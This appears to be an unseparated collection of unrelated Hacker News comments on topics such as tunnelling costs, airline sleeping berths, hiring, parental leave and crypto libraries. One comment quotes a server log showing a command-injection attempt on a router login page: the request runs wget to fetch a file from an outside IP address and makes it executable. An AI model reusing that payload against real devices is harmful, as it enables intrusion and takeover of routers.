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> I don't see why that strategy wouldn't _fundamentally_ play out similarly for TBC.

Because they have given a reason why they expect lower costs. They don't expect to be able to actually reduce the cost of a boring a tunnel at fixed diameter; they want to bore smaller tunnels and assert that's good enough.
Is that what is happening? I was struggling to see a possible reason for why your post was being voted down, and unless your original post was modified, there are not many other explanations (unless people don't understand how gravity/orbits work).

I would be very disappointed if members of the HN community are voting down your posts because of who you are, rather than the content. I'd like to think we're above that sort of petty behaviour. If it were were moderators abusing their positions...
It runs on linux:

https://azure.microsoft.com/en-ca/blog/powershell-is-open-so...

https://docs.microsoft.com/en-us/powershell/scripting/setup/...
Next on Hacker News: Microsoft suppliers now hiring more contractors and less full-time staff.
Startup just sounds cooler, that's why - in reality there isn't a difference. A single parent starting up a hair salon or restaurant is also a startup, it's just a new business being set in motion.
Traditional technologies and techniques for earth moving are rather simple and well refined. Moving soil still requires one to excavate the soil and transport the soil. I can't see any way around that. There are only so many ways to improve on this model. In rural environments it is possible to use larger haul trucks to move the materials. The urban nature of the construction site will limit the size of vehicles that can be used to transport the materials. As for the excavation equipment, a tunnel boring machine (TBM) is obviously the tool of choice. Maybe some efficiencies can be gained with the TBM through some sort of re-usability.

The space analogy, in mind, is not a great one. Prior to SpaceX, launches were generally a rare and expensive thing. Musk has changed that by making the process more efficient. Earth work, on the other hand, is done every day. There is likely a large dirt moving operation somewhere near every person that will see this thread. Be it excavation for the foundation of a large building or the construction of a roadway, moving earth is extremely common.

[edit] Clarity in the last sentence of the first paragraph.
> It's not going to happen, because airlines want to cram as many seats as possible, even in business class.

Obviously this seems far fetched, but Airbus seems to be pushing the idea of putting the bunks underneath where cargo would normally go. Not sure the FAA approval requirements to have people down there, but this wouldn't take up any existing seating:

> Airbus in April gave a glimpse of the future when it unveiled at a Hamburg exhibition the sleeping modules that could slot into an aircraft’s cargo compartments. The berths will initially be available on the A330 from 2020, and potentially on the A350, the company said.
Bank of Amer freezing accounts of customers suspected of not being US citizens
How would manned fighter jets counter an adversary like in this video?

https://www.youtube.com/watch?v=CGAk5gRD-t0

You can see the swarm of drones that could absolutely wreak havoc and out pilot humans with AI advancement.
In Norway you have to be paid when you ‘are available to the job’. If you are on standby the minimum pay is 1/3. If you have to work outside your normal workhours the pay is minimum 50% extra.

If you are «forced» to drive, example as a consulatant normaly based in the city and have to comute longer than normaly, the comute is paid.
It should be noted, however, that The LEGO Group is the world's largest tire manufacturer by volume.
As someone who lives in LA and used to live in SF, I do feel it's true everyone I know ignores the Metro and just drives/Uber's/whatever. I'm probably in a privileged position, though.

It was also quite noticeable back in SF that way more people used the BART than normal for Oakland Raiders games and even, to a less degree, AT&T Stadium games. So games actually can get the rich people to take poor people's transport.
That doesn't change the amount of energy you receive from a radio tower at all...

You should be more worried about wearing sunscreen every day than the amount of energy you get from any wireless antenna. The sun puts out vastly more electromagnetic radiation than any wireless device ever will per cubic foot/meter/whatever.
> People typically need to be facing/laying along the axis of flight for the seatbelt to work.

Only during takeoff and landing. During level flight you want the seatbelt to prevent upwards motion.
"What do you think are the top strengths and top weaknesses of <language X>?"

Doesn't matter what the specific answers are, much less if you even like language X or not. Instead it says: does the person really have an understanding of the language; do they have enough experience to say "well I really do like X, but I do often wish it had feature y of language Z". or "yes, I have a lot of JS experience since that's the job and I sure know how to sling it, but I far prefer Lisp which I found made me more productive than any other. Why? Well because at XXX I was able to do YYY...."
Oooh, makes sense, thanks.
This way lies a deep and futile chain of responsibility-diffusion. It's not the fault of the coal mining companies, it's the power plants that actually burn coal. It's not the fault of the power plants, it's the fault of the aluminum smelters that consume electricity produced with coal. It's not the fault of the smelters, it's the fault of the consumers who buy aluminum cans made with electricity produced from coal. (Never mind that aluminum-made-with-coal-electricity and aluminum-made-with-hydroelectricity are indistinguishable once they have reached the retail product level.)

You can regulate 100 big energy sector companies and drive big changes in consumption. You can't diffuse the responsibility to change across a hundred million consumers and expect anything like an equivalent rate of change.
What lives inside fog water droplets
Question, since you listed Rösling's Factfulness: How many points did you get in their little quiz in the intro or ch1, I forget where it was, if you don't mind sharing?
Why do you take HR for granted but somehow can't imagine an IT union?
I'm hoping the future is more like 5th Element's "stewardess pushing the button to put the passengers to sleep immediately".
>That said, I'm sure most of the western world is in blind oppulence.

Do you want to know how I know you're out of touch?
> I look for maybe 70% correct and I look for quick answers. You know it or you don't. And I set that expectation up front so they can give me a few "I don't know"s with no penalty.

I like that system. I recently took the TripleByte technical quiz and I liked that "I Don't Know" was an acceptable answer for most of the questions. When paired with the timer (or in your case, looking for a fast answer) it seems like a system that encourages honesty and "moving along" so you don't waste time on questions that you will probably do poorly on anyway.

As an aside, does anyone happen to know what the "levels" of performance on the TripleByte technical quiz are? When I took it (and I realize this will sound like a humblebrag), I was told I did "exceptionally well" and could be paired with "approximately 27 top tech companies", but I didn't feel I did all that well on it at all.

I ask because they say they only invite the "top few percent" of quiz takers to continue, but all I typically see when I search this online is other people mentioning they also did "exceptionally well." Anyone have feedback on the process?
I already pay enough in taxes, the idea of union fees on top of that is revolting
> Los Angeles (US: /lɔːs ˈændʒələs/); Spanish for "The Angels";
Operating a scooter service was not illegal at the time. It was only made illegal as a retaliatory response. SFMTA and the supervisors would have liked those companies to proactively ask for permission, hence the retaliation. Skip is the only company (AFAIK) that made it a point to ask for permission first – and they’re getting rewarded for it – but I’m pretty sure they only did that with the benefit of hindsight. They were late to the game, saw the backlash against the early players, and saw that as their opportunity.
Lying flat would be a really bad time on landing, particularly with thrust reversers!
...but i dont want to put a lock on my mail box, i want the spam carrier to get wet and destroy the rest of the junk mail so it doesnt bother me again or anyone else for the rest of the day...
I also think this could be very effective first round of screening. The questions don't have to be all trivia though. Something that is simple for legit developers in that domain to answer should also work. Time they take to answer also correlates well with experience.
It is really a stratified world in that regard and I am lucky. My employer (large, non-US based tech company) not only offers paternity leave, but actively encourages it's use.

Sadly, even a lot of workplaces that "offer" this type of benefit have a culture where it hurts your career to use it. Meanwhile, the rest of the developed world gets along just fine with universal leave.
The problem is that commercial air travel is fundamentally unpleasant. Pack, drive to the airport, park, carry heavy things long distances, wait in long lines, take off your shoes and belt, be inspected infected and detected, stop start stop start, wait for your fellow travelers to cram everything they could carry into overhead bins, get up to let strangers in, bang elbows, endure g-forces, thoughts of death, pressure, noise... unending noise, temperature swings, turbulence, miniature port-o-potties that smell the same as normal sized, bad food, no food, four ounce sodas with huge ice cubes, sky mall (thank God for sky mall), now do that all in reverse, add ear popping, wait for your bag to crash onto a conveyor, wait in more lines, drive in more traffic, feel bad for two days... If the airlines could remove three or four of those problems for say twice or four times the money, it would still be a miserable day. Most people would rather just bang elbows and get it over with for as little money as possible.
Why do you expect them to do the wrong thing?
Can't the compiler flatten objects into one another?

For example, if one class includes a reference to another, merge the fields and methods of both classes into one big mega-class, then see if there is any redundant code which can be removed for this new megaclass.
...and saves the company the effort of interviewing someone who turns out not to be interested in the opportunity.

A good recruiter can sell the company properly. They are as rare as hen's teeth though.
I don't think it's "simply" a disability insurance policy. Pregnancy can be planned. If someone were to buy an insurance policy before they conceived, pay $100/month for a year or so, then get 60% of their salary for 3 months (much more than they paid in probably), they'd just cancel the policy afterward. The insurance company would lose money on this every time.

Some quick googling suggests that there are disability insurance companies that will cover maternity leave, but they must be making a profit on it somehow or they wouldn't offer it. Besides which, I don't think there's any way paternity leave could be considered a disability, so it's no help there.

If this were rolled into social security, the cost could be more spread out. Since it's beneficial for us to have a growing population, I think it's in all our interest to support children being born, even if we don't want to have them ourselves.
What's the possibility a meteor could hit an astronaut? I imagine that wouldn't be good.
I agree that Tripadvisor is useless for restaurants, but how do you find/book hotels? In general hotels are more expensive when booked directly and not through an aggregator, however, how do you even find them without sites like Tripadvisor?
Wouldn't that lead to vendors starting to buy off the "gold reviewers"?
So basically... it's public because it would be any work at all to implement filters and friending? :-/
Not sure what you mean. This just looks to me like they're admitting they're awful at security and they're pleading/threatening the global community to help secure their ecosystem or else you're all going to be in a ton of trouble because the robots/cars are going to kill you and your workers and what'll you do then?
You guys talk about "left" and "right" as if there is a difference.

Both are characterized by marked intolerance. A small minority of both are what I would term "Violently Intolerant". You can get yourself killed for being a congressman at a baseball game, or for being black and going to bible study or walking up a street. The "Left" and the "Right", particularly their extremists, are just bad business all around when it comes to what we would typically term "tolerance".
The decrease in births is twice the decrease in infant mortality according to the sources we both linked. Also, it takes at least a generation before lowering infant mortality lowers birth rates. It does look like lowered infant mortality contributed quite a bit to the baby boom.
I also consider myself a strong engineer, and I have only ever done full-day interviews at Google and Amazon.
That sounds right. But for bigger companies, they can also come up with a much bigger pool of questions and choose from there
I would tell you, but I am honestly worried about possible action form Oracle if I did.
If you say you support something, but don't want to take actions that demonstrably promote what you are supporting, you are virtue signalling. It's quite simple, and it's maddening.
Tink competes with Nacl/libsodium.

Tink is really great and more people should look at it. It's (I think?) the successor to Keyczar, which was one of the first misuse-resistant crypto libraries.

Some ways in which Tink differs from Nacl:

* Its interfaces are in some ways better; for instance, it doesn't punt nonces to the developer (a source of security issues with Nacl software).

* It has a coherent design based on security objectives, so that extensions to it make sense. For instance, instead of exposing random block cipher modes in a low-level interface, Tink maintains a notion of AEAD, streaming AEAD, and deterministic AEAD, and then has interfaces to add primitives that fulfill those objectives.

* Tink is natively (rather than through bindings) portable to Java, C++, and ObjC.

* Tink has a team of cryptographers maintaining it; that team includes Daniel Bleichenbacher, which is crazy and awesome.

Nacl is great, but more people should look at Tink.
Still better for the 20%, right? It would be 100% temp workers otherwise.
You are missing the key point. Supplements are allowed because they are made of "Generally Recognized As Safe (GRAS)" ingredients. New drugs aren't, and that's the point. Experimental drugs are obviously risky.
It's MLM reinvented with more child labor.
is there a term to express our this era technology is just allowing useless noise to pass as signal ?

when myspace et al started to pop, web 2.0, dynamic webpage interactions was the fastest way to heaven, now it seems we read the map upside down.

ps: maybe we're rediscovering how mobs are bad
The creators aren't always aware of the monsters they create. I think Intel was caught with their trousers down - AMD and ARM in many respects too. Hopefully this will lead to automated testing procedures for Intel, other processor manufacturers and security researchers.

The reason these flaws were found in the first place were because of security researchers, hopefully they can now make their cases to get large research grants and bring about a more secure future.

On the other hand, if you want to talk about tin-foil hat "CPUs working against users", only look so far as Intel ME and the equivalents on other processors. Closed-source and highly privileged code running all the time inside the CPU - it's not unthinkable that Intel would bend the knee to some state actors, especially if that leads to higher profits (i.e. a tax break or entry into a new market (cough China)). It's enough of a concern that a lot of reverse engineering effort has gone into preventing it from running.
"To achieve lower costs the JSF accepts notable aft sector stealth limitations, especially when tackling deep or layered air defences with fighter threats - an acceptable tradeoff for shallow littoral and FEBA area battlefield strikes against predominantly short range mobile air defence systems. The aim in the JSF is to use newer materials technology than the F-22A does to reduce stealth costs, although we are likely to see this technology migrate across to the F-22A in later blocks."

http://www.ausairpower.net/APA-JSF-Analysis.html
Desktop and personal PC has Ubuntu dominant, but servers are 70% CentOS. Nobody trusts Debian's security record and gcc/kernel abilities.

He is right with the affected number in this case because this time bugs are affected by simple webpage drive-by Javascript attacks, like a common virus. So it affects Debian and Android more than servers and cloud services. And those are the ones which are not regularly updated so the security impact is bigger than on a server.
I wonder why no one has tried that. I'm guessing there's some safety reg about being seated for landing which a bunk wouldn't satisfy?
We already have large numbers of F-35 sized aircraft, and are dedicated to having a current stock for the forseeable future, so the economics are already proven.

The issue is not that any given drone is expensive. The issue is that any given manned vehicle with roughly the same profile will involve the same-ish hardware along with expensive life support and safety systems, and a super expensive pilot, and super expensive logistics and possible recovery missions. Plane for plane the drones let us do more with less, justifying their investment during ongoing appropriations. Human pilots will always have a role, but will never be disposable in the way a drone can be.

And, yeah, "swarms" because there is no cookie cutter monolithic answer to what unmanned military craft should look like... Low speed ground hugging smart missiles, ocean based spy capsules in mesh networks, slow speed support craft, high altitude recon craft, in theatre air fire support, air-to-air combat drones, and orbital UAVs can all coordinate. All we know is ever increasing automation and standardization is intersecting with decreasing costs and requirements... very fertile ground for mass production.
Gnome has a similar widget, also called a “popover”; most menus use them.
Maybe. It took them a long time to build up the current one so I am not sure it was only 60M. Also, what about the machine learning model they built from it?
Buying followers isn't terribly difficult, even getting fake likes as well isn't hard either. $100 goes a long way for an artifically inflated account.

Not every follower is rated equally either. There are tools like followercheck which determines legitimacy of followers an influence has. It isn't that far off from fakespot for amazon reviews.

I have a friend that is super insecure. I know for a fact she bought followers, 5000+ followers and 0 engagement with silly motivational posts says a lot about a person.
That's OK but when using "logs" it takes more time and tries to find a complex bug than to search for it using an interactive debug tool.
Depends how they implement value types. They might simply say 'you can't have a reference to a value type'. You either embed it in your class, or you copy it's value.
The patch for that has been already uplifted to Firefox and is behind the pref "privacy.resistFingerprinting": https://bugzilla.mozilla.org/show_bug.cgi?id=967895

By the way it's spelled "Tor" ;)
> Speaking against a particular brand of feminism does not make one a misogynist. From watching his videos, it's pretty clear that he isn't prejudiced against women.

I have an issue with naming of those videos. It's great to call out people who misinterpret some labels and are harmful to others. But calling that "facts vs feminism" isn't helping. His other videos manage to call out specific things like solar highway, rather than being called "tech vs facts". Why imply that feminism is bad if you're going to talk about one specific person's idea? (that's not generally accepted)
Really? Interviewing for a job is being "disloyal"?
I got this too (amongst other hosts).

nginx_1 | 197.39.15.48 - - [30/Aug/2018:14:51:22 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks... HTTP/1.1" 400 173 "-" "LMAO/2.0" "-"

Apparently targeting dlink routers - https://twitter.com/txalin/status/1007625620090707974?lang=e...
In other words, the employees can't generate the same surplus value without the company. So the company did in fact generate some of it, so the profit isn't stolen at all, it's earned.

Marx has been dead for 135 years, and people still parrot his confused ramblings without thinking. Amazing.
It most definitely is a moral issue when students are racially discriminated against. There is a trade-off between racial diversity and racial discrimination.

What you're saying here is that non-Asian leaders who are individually worse leaders take the spot of Asian leaders who are individually better leaders because the race of non-Asian leaders makes them better leaders.
No, it's symptomatic of paranoid hiring processes, arbitrarily high bars, and interviewers who have no business interviewing people.
It makes more sense to have benefits to employees focused on the employee side. It also makes it more fair (and more cost effective) if all benefits are equal for all; at least up to basic minimums that everyone should have for society to function well.
It's not sudden.
Yeah I have no idea why your parent post got down voted. Why do you say HN mods downvote you?
Binary search by closing doors and measuring the pressure drop? N-ary search if each module has its own barometer.
U.S. Senator Bans Funding for Beerbots That Don’t Exist
> This just looks to me like they're admitting they're awful at security and they're pleading/threatening the global community to help secure their ecosystem

That post seems to make it pretty clear that they are trying to position themselves as the experts rather than the people asking for help. That is the part that is absurd.
It just means that popular companies can very much cherry-pick and inconvenience plenty of engineers. There is no shortage of people for them.
Not to support or stand over business practices I disagree with, but surprisingly the little £9 Lightning DAC/amp they ship with the phone/sell is rather good. I've run plenty of higher end headphones and IEMs from it without complaint.
I don't understand the base of this debunk. Nowadays, food 'collecting', food processing, DIY (taking care of tools) are not counted into working time but come extra and are taken from 'free' time. And they amount to 1, perhaps 2, working day equivalent per week.
I'm sure Microsoft is doing this now, but wasn't that frowned upon before Satya Nadella took over as CEO or was building on non Microsoft products okay before?
I've seen a lot of cases here in SE Asia of restaurants and hotels posting fake bad reviews of their competitors' businesses. It's commonplace enough now that I generally disregard TripAdvisor ratings.
Anticonceptional techniques are IMHO the game changer. Humans have always tried to limit their offspring. Once it was possible without extreme measures, parents prefer to pour more resources on fewer kids.

My wife haven't worked out a single day in life, and haven't ever taken a single anticonceptional pill, either. The only thing we agreed without discussion in our marriage was having a single kid. I went to vasectomy the month after my son was born.